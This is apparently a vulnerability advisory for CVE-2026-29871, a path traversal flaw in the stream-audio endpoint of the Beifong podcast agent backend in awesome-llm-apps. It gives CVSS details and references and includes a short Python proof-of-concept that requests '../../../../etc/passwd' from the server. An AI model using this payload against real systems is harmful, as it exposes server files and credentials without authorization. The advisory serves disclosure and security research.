CVE-2026-29871

Description

A path traversal vulnerability exists in the awesome-llm-apps project in commit e46690f99c3f08be80a9877fab52acacf7ab8251 (2026-01-19) in the Beifong AI News and Podcast Agent backend in FastAPI backend, stream-audio endpoint, in file routers/podcast_router.py, in function stream_audio. The stream-audio endpoint accepts a user-controlled path parameter that is concatenated into a filesystem path without proper validation or restriction. An unauthenticated remote attacker can exploit this vulnerability to read arbitrary files from the server filesystem, potentially disclosing sensitive information such as configuration files and credentials.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:theunwindai:awesome_llm_apps:*:*:*:*:*:*:*:* - VULNERABLE

awesome-llm-apps commit e46690f99c3f08be80a9877fab52acacf7ab8251

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://target-ip:8000/stream-audio"

# Malicious path parameter to traverse directories
# Attempting to read /etc/passwd
payload = {
    "path": "../../../../etc/passwd"
}

try:
    # Send GET request to the vulnerable endpoint
    response = requests.get(target_url, params=payload)

    # Check if the request was successful
    if response.status_code == 200:
        print("[+] Exploit successful! Server response:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29871
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29871
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29871/
[4] VulDB https://vuldb.com/cve/CVE-2026-29871
[5] https://github.com/lilmingwa13/security-research/blob/main/CVE-2026-29871.md

Raw JSON Data

JSON

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